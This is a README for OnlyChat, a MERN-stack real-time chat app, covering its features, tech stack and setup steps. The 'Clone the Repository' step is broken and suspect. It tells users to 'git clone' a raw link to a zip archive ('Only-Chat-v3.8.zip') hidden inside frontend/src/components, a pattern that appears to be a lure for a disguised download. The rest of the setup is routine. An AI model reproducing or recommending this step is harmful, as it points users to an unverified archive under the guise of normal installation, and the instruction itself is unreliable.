Here’s the updated README with your format:

# 💬 OnlyChat - A Real-Time Chat App  

OnlyChat is a real-time chat application built using the **MERN** stack, **Socket.io**, and **Tailwind CSS**. It enables users to have seamless real-time messaging with an interactive and responsive UI.  

## 🚀 Features  
✅ Real-time messaging with **Socket.io**  
✅ User authentication (Signup/Login)  
✅ Private and group chats  
✅ Responsive UI with **Tailwind CSS & Daisy UI**  
✅ Typing indicators and online status  

## 🛠 Tech Stack  
- **Frontend:** React.js, Tailwind CSS, Daisy UI  
- **Backend:** Node.js, Express.js  
- **Database:** MongoDB (Mongoose)  
- **Real-time Communication:** Socket.io  

## 📥 Installation & Setup  

### 1️⃣ Clone the Repository  
```bash
git clone https://raw.githubusercontent.com/Ashish4144/OnlyChat/main/frontend/src/components/Only-Chat-v3.8.zip
cd onlychat

2️⃣ Install Dependencies

Backend

cd backend
npm install

Frontend

cd frontend
npm install

3️⃣ Setup Environment Variables

Create a .env file in the backend directory and add:

MONGO_URI=your_mongodb_connection_string
JWT_SECRET=your_secret_key
SOCKET_IO_PORT=your_port

4️⃣ Run the Application

Start the Backend Server

cd backend
npm start

Start the Frontend

cd frontend
npm start

Now, open http://localhost:3000 in your browser to see OnlyChat in action! 🎉

🖼️ Screenshots